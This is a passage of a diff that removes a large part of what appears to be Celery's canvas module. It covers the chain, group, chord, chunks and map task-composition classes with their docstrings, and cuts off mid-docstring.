if steps is not empty, this is the first task - reverse order - # if i = 0, this is the last task - again, because we're reversed - is_first_task, is_last_task = not steps, not i - - if not isinstance(task, abstract.CallableSignature): - task = from_dict(task, app=app) - if isinstance(task, group): - # when groups are nested, they are unrolled - all tasks within - # groups should be called in parallel - task = maybe_unroll_group(task) - - # first task gets partial args from chain - if clone: - if is_first_task: - task = task.clone(args, kwargs) - else: - task = task.clone() - elif is_first_task: - task.args = tuple(args) + tuple(task.args) - - if isinstance(task, _chain): - # splice (unroll) the chain - steps_extend(task.tasks) - continue - - # TODO why isn't this asserting is_last_task == False? - if isinstance(task, group) and prev_task: - # automatically upgrade group(...) | s to chord(group, s) - # for chords we freeze by pretending it's a normal - # signature instead of a group. - tasks.pop() - results.pop() - try: - task = chord( - task, body=prev_task, - task_id=prev_res.task_id, root_id=root_id, app=app, - ) - except AttributeError: - # A GroupResult does not have a task_id since it consists - # of multiple tasks. - # We therefore, have to construct the chord without it. - # Issues #5467, #3585. - task = chord( - task, body=prev_task, - root_id=root_id, app=app, - ) - if tasks: - prev_task = tasks[-1] - prev_res = results[-1] - else: - prev_task = None - prev_res = None - - if is_last_task: - # chain(task_id=id) means task id is set for the last task - # in the chain. If the chord is part of a chord/group - # then that chord/group must synchronize based on the - # last task in the chain, so we only set the group_id and - # chord callback for the last task. - res = task.freeze( - last_task_id, - root_id=root_id, group_id=group_id, chord=chord_body, - group_index=group_index, - ) - else: - res = task.freeze(root_id=root_id) - - i += 1 - - if prev_task: - if use_link: - # link previous task to this task. - task.link(prev_task) - - if prev_res and not prev_res.parent: - prev_res.parent = res - - if link_error: - for errback in maybe_list(link_error): - task.link_error(errback) - - tasks.append(task) - results.append(res) - - prev_task, prev_res = task, res - if isinstance(task, chord): - app.backend.ensure_chords_allowed() - # If the task is a chord, and the body is a chain - # the chain has already been prepared, and res is - # set to the last task in the callback chain. - - # We need to change that so that it points to the - # group result object. - node = res - while node.parent: - node = node.parent - prev_res = node - self.id = last_task_id - return tasks, results - - def apply(self, args=None, kwargs=None, **options): - args = args if args else () - kwargs = kwargs if kwargs else {} - last, (fargs, fkwargs) = None, (args, kwargs) - for task in self.tasks: - res = task.clone(fargs, fkwargs).apply( - last and (last.get(),), **dict(self.options, **options)) - res.parent, last, (fargs, fkwargs) = last, res, (None, None) - return last - - @property - def app(self): - app = self._app - if app is None: - try: - app = self.tasks[0]._app - except LookupError: - pass - return app or current_app - - def __repr__(self): - if not self.tasks: - return f'<{type(self).__name__}@{id(self):#x}: empty>' - return remove_repeating_from_task( - self.tasks[0]['task'], - ' | '.join(repr(t) for t in self.tasks)) - - -class chain(_chain): - """Chain tasks together. - - Each tasks follows one another, - by being applied as a callback of the previous task. - - Note: - If called with only one argument, then that argument must - be an iterable of tasks to chain: this allows us - to use generator expressions. - - Example: - This is effectively :math:`((2 + 2) + 4)`: - - .. code-block:: pycon - - >>> res = chain(add.s(2, 2), add.s(4))() - >>> res.get() - 8 - - Calling a chain will return the result of the last task in the chain. - You can get to the other tasks by following the ``result.parent``'s: - - .. code-block:: pycon - - >>> res.parent.get() - 4 - - Using a generator expression: - - .. code-block:: pycon - - >>> lazy_chain = chain(add.s(i) for i in range(10)) - >>> res = lazy_chain(3) - - Arguments: - *tasks (Signature): List of task signatures to chain. - If only one argument is passed and that argument is - an iterable, then that'll be used as the list of signatures - to chain instead. This means that you can use a generator - expression. - - Returns: - ~celery.chain: A lazy signature that can be called to apply the first - task in the chain. When that task succeeds the next task in the - chain is applied, and so on. - """ - - # could be function, but must be able to reference as :class:`chain`. - def __new__(cls, *tasks, **kwargs): - # This forces `chain(X, Y, Z)` to work the same way as `X | Y | Z` - if not kwargs and tasks: - if len(tasks) != 1 or is_list(tasks[0]): - tasks = tasks[0] if len(tasks) == 1 else tasks - # if is_list(tasks) and len(tasks) == 1: - # return super(chain, cls).__new__(cls, tasks, **kwargs) - new_instance = reduce(operator.or_, tasks, _chain()) - if cls != chain and isinstance(new_instance, _chain) and not isinstance(new_instance, cls): - return super().__new__(cls, new_instance.tasks, **kwargs) - return new_instance - return super().__new__(cls, *tasks, **kwargs) - - -class _basemap(Signature): - _task_name = None - _unpack_args = itemgetter('task', 'it') - - @classmethod - def from_dict(cls, d, app=None): - return cls(*cls._unpack_args(d['kwargs']), app=app, **d['options']) - - def __init__(self, task, it, **options): - super().__init__(self._task_name, (), - {'task': task, 'it': regen(it)}, immutable=True, **options - ) - - def apply_async(self, args=None, kwargs=None, **opts): - # need to evaluate generators - args = args if args else () - kwargs = kwargs if kwargs else {} - task, it = self._unpack_args(self.kwargs) - return self.type.apply_async( - (), {'task': task, 'it': list(it)}, - route_name=task_name_from(self.kwargs.get('task')), **opts - ) - - -@Signature.register_type() -class xmap(_basemap): - """Map operation for tasks. - - Note: - Tasks executed sequentially in process, this is not a - parallel operation like :class:`group`. - """ - - _task_name = 'celery.map' - - def __repr__(self): - task, it = self._unpack_args(self.kwargs) - return f'[{task.task}(x) for x in {truncate(repr(it), 100)}]' - - -@Signature.register_type() -class xstarmap(_basemap): - """Map operation for tasks, using star arguments.""" - - _task_name = 'celery.starmap' - - def __repr__(self): - task, it = self._unpack_args(self.kwargs) - return f'[{task.task}(*x) for x in {truncate(repr(it), 100)}]' - - -@Signature.register_type() -class chunks(Signature): - """Partition of tasks into chunks of size n.""" - - _unpack_args = itemgetter('task', 'it', 'n') - - @classmethod - def from_dict(cls, d, app=None): - return cls(*cls._unpack_args(d['kwargs']), app=app, **d['options']) - - def __init__(self, task, it, n, **options): - super().__init__('celery.chunks', (), - {'task': task, 'it': regen(it), 'n': n}, - immutable=True, **options - ) - - def __call__(self, **options): - return self.apply_async(**options) - - def apply_async(self, args=None, kwargs=None, **opts): - args = args if args else () - kwargs = kwargs if kwargs else {} - return self.group().apply_async( - args, kwargs, - route_name=task_name_from(self.kwargs.get('task')), **opts - ) - - def group(self): - # need to evaluate generators - task, it, n = self._unpack_args(self.kwargs) - return group((xstarmap(task, part, app=self._app) - for part in _chunks(iter(it), n)), - app=self._app) - - @classmethod - def apply_chunks(cls, task, it, n, app=None): - return cls(task, it, n, app=app)() - - -def _maybe_group(tasks, app): - if isinstance(tasks, dict): - tasks = signature(tasks, app=app) - - if isinstance(tasks, (group, _chain)): - tasks = tasks.tasks - elif isinstance(tasks, abstract.CallableSignature): - tasks = [tasks] - else: - if isinstance(tasks, GeneratorType): - tasks = regen(signature(t, app=app) for t in tasks) - else: - tasks = [signature(t, app=app) for t in tasks] - return tasks - - -@Signature.register_type() -class group(Signature): - """Creates a group of tasks to be executed in parallel. - - A group is lazy so you must call it to take action and evaluate - the group. - - Note: - If only one argument is passed, and that argument is an iterable - then that'll be used as the list of tasks instead: this - allows us to use ``group`` with generator expressions. - - Example: - >>> lazy_group = group([add.s(2, 2), add.s(4, 4)]) - >>> promise = lazy_group() # <-- evaluate: returns lazy result. - >>> promise.get() # <-- will wait for the task to return - [4, 8] - - Arguments: - *tasks (List[Signature]): A list of signatures that this group will - call. If there's only one argument, and that argument is an - iterable, then that'll define the list of signatures instead. - **options (Any): Execution options applied to all tasks - in the group. - - Returns: - ~celery.group: signature that when called will then call all of the - tasks in the group (and return a :class:`GroupResult` instance - that can be used to inspect the state of the group). - """ - - tasks = getitem_property('kwargs.tasks', 'Tasks in group.') - - @classmethod - def from_dict(cls, d, app=None): - """Create a group signature from a dictionary that represents a group. - - Example: - >>> group_dict = { - "task": "celery.group", - "args": [], - "kwargs": { - "tasks": [ - { - "task": "add", - "args": [ - 1, - 2 - ], - "kwargs": {}, - "options": {}, - "subtask_type": None, - "immutable": False - }, - { - "task": "add", - "args": [ - 3, - 4 - ], - "kwargs": {}, - "options": {}, - "subtask_type": None, - "immutable": False - } - ] - }, - "options": {}, - "subtask_type": "group", - "immutable": False - } - >>> group_sig = group.from_dict(group_dict) - - Iterates over the given tasks in the dictionary and convert them to signatures. - Tasks needs to be defined in d['kwargs']['tasks'] as a sequence - of tasks. - - The tasks themselves can be dictionaries or signatures (or both). - """ - # We need to mutate the `kwargs` element in place to avoid confusing - # `freeze()` implementations which end up here and expect to be able to - # access elements from that dictionary later and refer to objects - # canonicalized here - orig_tasks = d["kwargs"]["tasks"] - d["kwargs"]["tasks"] = rebuilt_tasks = type(orig_tasks)( - maybe_signature(task, app=app) for task in orig_tasks - ) - return cls(rebuilt_tasks, app=app, **d['options']) - - def __init__(self, *tasks, **options): - if len(tasks) == 1: - tasks = tasks[0] - if isinstance(tasks, group): - tasks = tasks.tasks - if isinstance(tasks, abstract.CallableSignature): - tasks = [tasks.clone()] - if not isinstance(tasks, _regen): - # May potentially cause slow downs when using a - # generator of many tasks - Issue #6973 - tasks = regen(tasks) - super().__init__('celery.group', (), {'tasks': tasks}, **options - ) - self.subtask_type = 'group' - - def __call__(self, *partial_args, **options): - return self.apply_async(partial_args, **options) - - def __or__(self, other): - # group() | task -> chord - return chord(self, body=other, app=self._app) - - def skew(self, start=1.0, stop=None, step=1.0): - # TODO: Not sure if this is still used anywhere (besides its own tests). Consider removing. - it = fxrange(start, stop, step, repeatlast=True) - for task in self.tasks: - task.set(countdown=next(it)) - return self - - def apply_async(self, args=None, kwargs=None, add_to_parent=True, - producer=None, link=None, link_error=None, **options): - args = args if args else () - if link is not None: - raise TypeError('Cannot add link to group: use a chord') - if link_error is not None: - raise TypeError( - 'Cannot add link to group: do that on individual tasks') - app = self.app - if app.conf.task_always_eager: - return self.apply(args, kwargs, **options) - if not self.tasks: - return self.freeze() - - options, group_id, root_id = self._freeze_gid(options) - tasks = self._prepared(self.tasks, [], group_id, root_id, app) - p = barrier() - results = list(self._apply_tasks(tasks, producer, app, p, - args=args, kwargs=kwargs, **options)) - result = self.app.GroupResult(group_id, results, ready_barrier=p) - p.finalize() - - # - Special case of group(A.s() | group(B.s(), C.s())) - # That is, group with single item that's a chain but the - # last task in that chain is a group. - # - # We cannot actually support arbitrary GroupResults in chains, - # but this special case we can. - if len(result) == 1 and isinstance(result[0], GroupResult): - result = result[0] - - parent_task = app.current_worker_task - if add_to_parent and parent_task: - parent_task.add_trail(result) - return result - - def apply(self, args=None, kwargs=None, **options): - args = args if args else () - kwargs = kwargs if kwargs else {} - app = self.app - if not self.tasks: - return self.freeze() # empty group returns GroupResult - options, group_id, root_id = self._freeze_gid(options) - tasks = self._prepared(self.tasks, [], group_id, root_id, app) - return app.GroupResult(group_id, [ - sig.apply(args=args, kwargs=kwargs, **options) for sig, _, _ in tasks - ]) - - def set_immutable(self, immutable): - for task in self.tasks: - task.set_immutable(immutable) - - def stamp(self, visitor=None, append_stamps=False, **headers): - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_group_start(self, **headers) or {} - headers = self._stamp_headers(visitor_headers, append_stamps, **headers) - self.stamp_links(visitor, append_stamps, **headers) - - if isinstance(self.tasks, _regen): - self.tasks.map(_partial(_stamp_regen_task, visitor=visitor, append_stamps=append_stamps, **headers)) - else: - new_tasks = [] - for task in self.tasks: - task = maybe_signature(task, app=self.app) - task.stamp(visitor, append_stamps, **headers) - new_tasks.append(task) - if isinstance(self.tasks, MutableSequence): - self.tasks[:] = new_tasks - else: - self.tasks = new_tasks - - if visitor is not None: - visitor.on_group_end(self, **headers) - - def link(self, sig): - # Simply link to first task. Doing this is slightly misleading because - # the callback may be executed before all children in the group are - # completed and also if any children other than the first one fail. - # - # The callback signature is cloned and made immutable since it the - # first task isn't actually capable of passing the return values of its - # siblings to the callback task. - sig = sig.clone().set(immutable=True) - return self.tasks[0].link(sig) - - def link_error(self, sig): - # Any child task might error so we need to ensure that they are all - # capable of calling the linked error signature. This opens the - # possibility that the task is called more than once but that's better - # than it not being called at all. - # - # We return a concretised tuple of the signatures actually applied to - # each child task signature, of which there might be none! - sig = maybe_signature(sig) - - return tuple(child_task.link_error(sig.clone(immutable=True)) for child_task in self.tasks) - - def _prepared(self, tasks, partial_args, group_id, root_id, app, - CallableSignature=abstract.CallableSignature, - from_dict=Signature.from_dict, - isinstance=isinstance, tuple=tuple): - """Recursively unroll the group into a generator of its tasks. - - This is used by :meth:`apply_async` and :meth:`apply` to - unroll the group into a list of tasks that can be evaluated. - - Note: - This does not change the group itself, it only returns - a generator of the tasks that the group would evaluate to. - - Arguments: - tasks (list): List of tasks in the group (may contain nested groups). - partial_args (list): List of arguments to be prepended to - the arguments of each task. - group_id (str): The group id of the group. - root_id (str): The root id of the group. - app (Celery): The Celery app instance. - CallableSignature (class): The signature class of the group's tasks. - from_dict (fun): Function to create a signature from a dict. - isinstance (fun): Function to check if an object is an instance - of a class. - tuple (class): A tuple-like class. - - Returns: - generator: A generator for the unrolled group tasks. - The generator yields tuples of the form ``(task, AsyncResult, group_id)``. - """ - for index, task in enumerate(tasks): - if isinstance(task, CallableSignature): - # local sigs are always of type Signature, and we - # clone them to make sure we don't modify the originals. - task = task.clone() - else: - # serialized sigs must be converted to Signature. - task = from_dict(task, app=app) - if isinstance(task, group): - # needs yield_from :( - unroll = task._prepared( - task.tasks, partial_args, group_id, root_id, app, - ) - yield from unroll - else: - if partial_args and not task.immutable: - task.args = tuple(partial_args) + tuple(task.args) - yield task, task.freeze(group_id=group_id, root_id=root_id, group_index=index), group_id - - def _apply_tasks(self, tasks, producer=None, app=None, p=None, - add_to_parent=None, chord=None, - args=None, kwargs=None, **options): - """Run all the tasks in the group. - - This is used by :meth:`apply_async` to run all the tasks in the group - and return a generator of their results. - - Arguments: - tasks (list): List of tasks in the group. - producer (Producer): The producer to use to publish the tasks. - app (Celery): The Celery app instance. - p (barrier): Barrier object to synchronize the tasks results. - args (list): List of arguments to be prepended to - the arguments of each task. - kwargs (dict): Dict of keyword arguments to be merged with - the keyword arguments of each task. - **options (dict): Options to be merged with the options of each task. - - Returns: - generator: A generator for the AsyncResult of the tasks in the group. - """ - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - app = app or self.app - with app.producer_or_acquire(producer) as producer: - # Iterate through tasks two at a time. If tasks is a generator, - # we are able to tell when we are at the end by checking if - # next_task is None. This enables us to set the chord size - # without burning through the entire generator. See #3021. - chord_size = 0 - tasks_shifted, tasks = itertools.tee(tasks) - next(tasks_shifted, None) - next_task = next(tasks_shifted, None) - - for task_index, current_task in enumerate(tasks): - # We expect that each task must be part of the same group which - # seems sensible enough. If that's somehow not the case we'll - # end up messing up chord counts and there are all sorts of - # awful race conditions to think about. We'll hope it's not! - sig, res, group_id = current_task - chord_obj = chord if chord is not None else sig.options.get("chord") - # We need to check the chord size of each contributing task so - # that when we get to the final one, we can correctly set the - # size in the backend and the chord can be sensible completed. - chord_size += _chord._descend(sig) - if chord_obj is not None and next_task is None: - # Per above, sanity check that we only saw one group - app.backend.set_chord_size(group_id, chord_size) - sig.apply_async(producer=producer, add_to_parent=False, - chord=chord_obj, args=args, kwargs=kwargs, - **options) - # adding callback to result, such that it will gradually - # fulfill the barrier. - # - # Using barrier.add would use result.then, but we need - # to add the weak argument here to only create a weak - # reference to the object. - if p and not p.cancelled and not p.ready: - p.size += 1 - res.then(p, weak=True) - next_task = next(tasks_shifted, None) - yield res # <-- r.parent, etc set in the frozen result. - - def _freeze_gid(self, options): - """Freeze the group id by the existing task_id or a new UUID.""" - # remove task_id and use that as the group_id, - # if we don't remove it then every task will have the same id... - options = {**self.options, **{ - k: v for k, v in options.items() - if k not in self._IMMUTABLE_OPTIONS or k not in self.options - }} - options['group_id'] = group_id = ( - options.pop('task_id', uuid())) - return options, group_id, options.get('root_id') - - def _freeze_group_tasks(self, _id=None, group_id=None, chord=None, - root_id=None, parent_id=None, group_index=None): - """Freeze the tasks in the group. - - Note: - If the group tasks are created from a generator, the tasks generator would - not be exhausted, and the tasks would be frozen lazily. - - Returns: - tuple: A tuple of the group id, and the AsyncResult of each of the group tasks. - """ - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - opts = self.options - try: - gid = opts['task_id'] - except KeyError: - gid = opts['task_id'] = group_id or uuid() - if group_id: - opts['group_id'] = group_id - if chord: - opts['chord'] = chord - if group_index is not None: - opts['group_index'] = group_index - root_id = opts.setdefault('root_id', root_id) - parent_id = opts.setdefault('parent_id', parent_id) - if isinstance(self.tasks, _regen): - # When the group tasks are a generator, we need to make sure we don't - # exhaust it during the freeze process. We use two generators to do this. - # One generator will be used to freeze the tasks to get their AsyncResult. - # The second generator will be used to replace the tasks in the group with an unexhausted state. - - # Create two new generators from the original generator of the group tasks (cloning the tasks). - tasks1, tasks2 = itertools.tee(self._unroll_tasks(self.tasks)) - # Use the first generator to freeze the group tasks to acquire the AsyncResult for each task. - results = regen(self._freeze_tasks(tasks1, group_id, chord, root_id, parent_id)) - # Use the second generator to replace the exhausted generator of the group tasks. - self.tasks = regen(tasks2) - else: - new_tasks = [] - # Need to unroll subgroups early so that chord gets the - # right result instance for chord_unlock etc. - results = list(self._freeze_unroll( - new_tasks, group_id, chord, root_id, parent_id, - )) - if isinstance(self.tasks, MutableSequence): - self.tasks[:] = new_tasks - else: - self.tasks = new_tasks - return gid, results - - def freeze(self, _id=None, group_id=None, chord=None, - root_id=None, parent_id=None, group_index=None): - return self.app.GroupResult(*self._freeze_group_tasks( - _id=_id, group_id=group_id, - chord=chord, root_id=root_id, parent_id=parent_id, group_index=group_index - )) - - _freeze = freeze - - def _freeze_tasks(self, tasks, group_id, chord, root_id, parent_id): - """Creates a generator for the AsyncResult of each task in the tasks argument.""" - yield from (task.freeze(group_id=group_id, - chord=chord, - root_id=root_id, - parent_id=parent_id, - group_index=group_index) - for group_index, task in enumerate(tasks)) - - def _unroll_tasks(self, tasks): - """Creates a generator for the cloned tasks of the tasks argument.""" - # should be refactored to: (maybe_signature(task, app=self._app, clone=True) for task in tasks) - yield from (maybe_signature(task, app=self._app).clone() for task in tasks) - - def _freeze_unroll(self, new_tasks, group_id, chord, root_id, parent_id): - """Generator for the frozen flattened group tasks. - - Creates a flattened list of the tasks in the group, and freezes - each task in the group. Nested groups will be recursively flattened. - - Exhausting the generator will create a new list of the flattened - tasks in the group and will return it in the new_tasks argument. - - Arguments: - new_tasks (list): The list to append the flattened tasks to. - group_id (str): The group_id to use for the tasks. - chord (Chord): The chord to use for the tasks. - root_id (str): The root_id to use for the tasks. - parent_id (str): The parent_id to use for the tasks. - - Yields: - AsyncResult: The frozen task. - """ - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - stack = deque(self.tasks) - group_index = 0 - while stack: - task = maybe_signature(stack.popleft(), app=self._app).clone() - # if this is a group, flatten it by adding all of the group's tasks to the stack - if isinstance(task, group): - stack.extendleft(task.tasks) - else: - new_tasks.append(task) - yield task.freeze(group_id=group_id, - chord=chord, root_id=root_id, - parent_id=parent_id, - group_index=group_index) - group_index += 1 - - def __repr__(self): - if self.tasks: - return remove_repeating_from_task( - self.tasks[0]['task'], - f'group({self.tasks!r})') - return 'group()' - - def __len__(self): - return len(self.tasks) - - @property - def app(self): - app = self._app - if app is None: - try: - app = self.tasks[0].app - except LookupError: - pass - return app if app is not None else current_app - - -@Signature.register_type(name="chord") -class _chord(Signature): - r"""Barrier synchronization primitive. - - A chord consists of a header and a body. - - The header is a group of tasks that must complete before the callback is - called. A chord is essentially a callback for a group of tasks. - - The body is applied with the return values of all the header - tasks as a list. - - Example: - - The chord: - - .. code-block:: pycon - - >>> res = chord([add.s(2, 2), add.s(4, 4)])(sum_task.s()) - - is effectively :math:`\Sigma ((2 + 2) + (4 + 4))`: - - .. code-block:: pycon - - >>> res.get() - 12 - """ - - @classmethod - def from_dict(cls, d, app=None): - """Create a chord signature from a dictionary that represents a chord. - - Example: - >>> chord_dict = { - "task": "celery.chord", - "args": [], - "kwargs": { - "kwargs": {}, - "header": [ - { - "task": "add", - "args": [ - 1, - 2 - ], - "kwargs": {}, - "options": {}, - "subtask_type": None, - "immutable": False - }, - { - "task": "add", - "args": [ - 3, - 4 - ], - "kwargs": {}, - "options": {}, - "subtask_type": None, - "immutable": False - } - ], - "body": { - "task": "xsum", - "args": [], - "kwargs": {}, - "options": {}, - "subtask_type": None, - "immutable": False - } - }, - "options": {}, - "subtask_type": "chord", - "immutable": False - } - >>> chord_sig = chord.from_dict(chord_dict) - - Iterates over the given tasks in the dictionary and convert them to signatures. - Chord header needs to be defined in d['kwargs']['header'] as a sequence - of tasks. - Chord body needs to be defined in d['kwargs']['body'] as a single task. - - The tasks themselves can be dictionaries or signatures (or both). - """ - options = d.copy() - args, options['kwargs'] = cls._unpack_args(**options['kwargs']) - return cls(*args, app=app, **options) - - @staticmethod - def _unpack_args(header=None, body=None, **kwargs): - # Python signatures are better at extracting keys from dicts - # than manually popping things off. - return (header, body), kwargs - - def __init__(self, header, body=None, task='celery.chord', - args=None, kwargs=None, app=None, **options): - args = args if args else () - kwargs = kwargs if kwargs else {'kwargs': {}} - super().__init__(task, args, - {**kwargs, 'header': _maybe_group(header, app), - 'body': maybe_signature(body, app=app)}, app=app, **options - ) - self.subtask_type = 'chord' - - def __call__(self, body=None, **options): - return self.apply_async((), {'body': body} if body else {}, **options) - - def __or__(self, other): - if (not isinstance(other, (group, _chain)) and - isinstance(other, Signature)): - # chord | task -> attach to body - sig = self.clone() - sig.body = sig.body | other - return sig - elif isinstance(other, group) and len(other.tasks) == 1: - # chord | group -> chain with chord body. - # unroll group with one member - other = maybe_unroll_group(other) - sig = self.clone() - sig.body = sig.body | other - return sig - else: - return super().__or__(other) - - def freeze(self, _id=None, group_id=None, chord=None, - root_id=None, parent_id=None, group_index=None): - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - if not isinstance(self.tasks, group): - self.tasks = group(self.tasks, app=self.app) - # first freeze all tasks in the header - header_result = self.tasks.freeze( - parent_id=parent_id, root_id=root_id, chord=self.body) - self.id = self.tasks.id - # secondly freeze all tasks in the body: those that should be called after the header - - body_result = None - if self.body: - body_result = self.body.freeze( - _id, root_id=root_id, chord=chord, group_id=group_id, - group_index=group_index) - # we need to link the body result back to the group result, - # but the body may actually be a chain, - # so find the first result without a parent - node = body_result - seen = set() - while node: - if node.id in seen: - raise RuntimeError('Recursive result parents') - seen.add(node.id) - if node.parent is None: - node.parent = header_result - break - node = node.parent - - return body_result - - def stamp(self, visitor=None, append_stamps=False, **headers): - tasks = self.tasks - if isinstance(tasks, group): - tasks = tasks.tasks - - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_chord_header_start(self, **headers) or {} - headers = self._stamp_headers(visitor_headers, append_stamps, **headers) - self.stamp_links(visitor, append_stamps, **headers) - - if isinstance(tasks, _regen): - tasks.map(_partial(_stamp_regen_task, visitor=visitor, append_stamps=append_stamps, **headers)) - else: - stamps = headers.copy() - for task in tasks: - task.stamp(visitor, append_stamps, **stamps) - - if visitor is not None: - visitor.on_chord_header_end(self, **headers) - - if visitor is not None and self.body is not None: - visitor_headers = visitor.on_chord_body(self, **headers) or {} - headers = self._stamp_headers(visitor_headers, append_stamps, **headers) - self.body.stamp(visitor, append_stamps, **headers) - - def apply_async(self, args=None, kwargs=None, task_id=None, - producer=None, publisher=None, connection=None, - router=None, result_cls=None, **options): - args = args if args else () - kwargs = kwargs if kwargs else {} - args = (tuple(args) + tuple(self.args) - if args and not self.immutable else self.args) - body = kwargs.pop('body', None) or self.kwargs['body'] - kwargs = dict(self.kwargs['kwargs'], **kwargs) - body = body.clone(**options) - app = self._get_app(body) - tasks = (self.tasks.clone() if isinstance(self.tasks, group) - else group(self.tasks, app=app, task_id=self.options.get('task_id', uuid()))) - if app.conf.task_always_eager: - with allow_join_result(): - return self.apply(args, kwargs, - body=body, task_id=task_id, **options) - - merged_options = dict(self.options, **options) if options else self.options - option_task_id = merged_options.pop("task_id", None) - if task_id is None: - task_id = option_task_id - - # chord([A, B, ...], C) - return self.run(tasks, body, args, task_id=task_id, kwargs=kwargs, **merged_options) - - def apply(self, args=None, kwargs=None, - propagate=True, body=None, **options): - args = args if args else () - kwargs = kwargs if kwargs else {} - body = self.body if body is None else body - tasks = (self.tasks.clone() if isinstance(self.tasks, group) - else group(self.tasks, app=self.app)) - return body.apply( - args=(tasks.apply(args, kwargs).get(propagate=propagate),), - ) - - @classmethod - def _descend(cls, sig_obj): - """Count the number of tasks in the given signature recursively. - - Descend into the signature object and return the amount of tasks it contains. - """ - # Sometimes serialized signatures might make their way here - if not isinstance(sig_obj, Signature) and isinstance(sig_obj, dict): - sig_obj = Signature.from_dict(sig_obj) - if isinstance(sig_obj, group): - # Each task in a group counts toward this chord - subtasks = getattr(sig_obj.tasks, "tasks", sig_obj.tasks) - return sum(cls._descend(task) for task in subtasks) - elif isinstance(sig_obj, _chain): - # The last non-empty element in a chain counts toward this chord - for child_sig in sig_obj.tasks[-1::-1]: - child_size = cls._descend(child_sig) - if child_size > 0: - return child_size - # We have to just hope this chain is part of some encapsulating - # signature which is valid and can fire the chord body - return 0 - elif isinstance(sig_obj, chord): - # The child chord's body counts toward this chord - return cls._descend(sig_obj.body) - elif isinstance(sig_obj, Signature): - # Each simple signature counts as 1 completion for this chord - return 1 - # Any other types are assumed to be iterables of simple signatures - return len(sig_obj) - - def __length_hint__(self): - """Return the number of tasks in this chord's header (recursively).""" - tasks = getattr(self.tasks, "tasks", self.tasks) - return sum(self._descend(task) for task in tasks) - - def run(self, header, body, partial_args, app=None, interval=None, - countdown=1, max_retries=None, eager=False, - task_id=None, kwargs=None, **options): - """Execute the chord. - - Executing the chord means executing the header and sending the - result to the body. In case of an empty header, the body is - executed immediately. - - Arguments: - header (group): The header to execute. - body (Signature): The body to execute. - partial_args (tuple): Arguments to pass to the header. - app (Celery): The Celery app instance. - interval (float): The interval between retries. - countdown (int): The countdown between retries. - max_retries (int): The maximum number of retries. - task_id (str): The task id to use for the body. - kwargs (dict): Keyword arguments to pass to the header. - options (dict): Options to pass to the header. - - Returns: - AsyncResult: The result of the body (with the result of the header in the parent of the body). - """ - app = app or self._get_app(body) - group_id = header.options.get('task_id') or uuid() - root_id = body.options.get('root_id') - options = dict(self.options, **options) if options else self.options - if options: - options.pop('task_id', None) - body.options.update(options) - - bodyres = body.freeze(task_id, root_id=root_id) - - # Chains should not be passed to the header tasks. See #3771 - options.pop('chain', None) - # Neither should chords, for deeply nested chords to work - options.pop('chord', None) - options.pop('task_id', None) - - header_result_args = header._freeze_group_tasks(group_id=group_id, chord=body, root_id=root_id) - - if header.tasks: - app.backend.apply_chord( - header_result_args, - body, - interval=interval, - countdown=countdown, - max_retries=max_retries, - ) - header_result = header.apply_async(partial_args, kwargs, task_id=group_id, **options) - # The execution of a chord body is normally triggered by its header's - # tasks completing. If the header is empty this will never happen, so - # we execute the body manually here. - else: - body.delay([]) - header_result = self.app.GroupResult(*header_result_args) - - bodyres.parent = header_result - return bodyres - - def clone(self, *args, **kwargs): - signature = super().clone(*args, **kwargs) - # need to make copy of body - try: - signature.kwargs['body'] = maybe_signature( - signature.kwargs['body'], clone=True) - except (AttributeError, KeyError): - pass - return signature - - def link(self, callback): - """Links a callback to the chord body only.""" - self.body.link(callback) - return callback - - def link_error(self, errback): - """Links an error callback to the chord body, and potentially the header as well. - - Note: - The ``task_allow_error_cb_on_chord_header`` setting controls whether - error callbacks are allowed on the header. If this setting is - ``False`` (the current default), then the error callback will only be - applied to the body. - """ - errback = maybe_signature(errback) - - if self.app.conf.task_allow_error_cb_on_chord_header: - for task in maybe_list(self.tasks) or []: - task.link_error(errback.clone(immutable=True)) - else: - # Once this warning is removed, the whole method needs to be refactored to: - # 1. link the error callback to each task in the header - # 2. link the error callback to the body - # 3. return the error callback - # In summary, up to 4 lines of code + updating the method docstring. - warnings.warn( - "task_allow_error_cb_on_chord_header=False is pending deprecation in " - "a future release of Celery.\n" - "Please test the new behavior by setting task_allow_error_cb_on_chord_header to True " - "and report any concerns you might have in our issue tracker before we make a final decision " - "regarding how errbacks should behave when used with chords.", - CPendingDeprecationWarning - ) - - # Edge case for nested chords in the header - for task in maybe_list(self.tasks) or []: - if isinstance(task, chord): - # Let the nested chord do the error linking itself on its - # header and body where needed, based on the current configuration - task.link_error(errback) - - self.body.link_error(errback) - return errback - - def set_immutable(self, immutable): - """Sets the immutable flag on the chord header only. - - Note: - Does not affect the chord body. - - Arguments: - immutable (bool): The new mutability value for chord header. - """ - for task in self.tasks: - task.set_immutable(immutable) - - def __repr__(self): - if self.body: - if isinstance(self.body, _chain): - return remove_repeating_from_task( - self.body.tasks[0]['task'], - '%({} | {!r})'.format( - self.body.tasks[0].reprcall(self.tasks), - chain(self.body.tasks[1:], app=self._app), - ), - ) - return '%' + remove_repeating_from_task( - self.body['task'], self.body.reprcall(self.tasks)) - return f'' - - @cached_property - def app(self): - return self._get_app(self.body) - - def _get_app(self, body=None): - app = self._app - if app is None: - try: - tasks = self.tasks.tasks # is a group - except AttributeError: - tasks = self.tasks - if tasks: - app = tasks[0]._app - if app is None and body is not None: - app = body._app - return app if app is not None else current_app - - tasks = getitem_property('kwargs.header', 'Tasks in chord header.') - body = getitem_property('kwargs.body', 'Body task of chord.') - - -# Add a back-compat alias for the previous `chord` class name which conflicts -# with keyword arguments elsewhere in this file -chord = _chord - - -def signature(varies, *args, **kwargs): - """Create new signature. - - - if the first argument is a signature already then it's cloned. - - if the first argument is a dict, then a Signature version is returned. - - Returns: - Signature: The resulting signature. - """ - app = kwargs.get('app') - if isinstance(varies, dict): - if isinstance(varies, abstract.CallableSignature): - return varies.clone() - return Signature.from_dict(varies, app=app) - return Signature(varies, *args, **kwargs) - - -subtask = signature # XXX compat - - -def maybe_signature(d, app=None, clone=False): - """Ensure obj is a signature, or None. - - Arguments: - d (Optional[Union[abstract.CallableSignature, Mapping]]): - Signature or dict-serialized signature. - app (celery.Celery): - App to bind signature to. - clone (bool): - If d' is already a signature, the signature - will be cloned when this flag is enabled. - - Returns: - 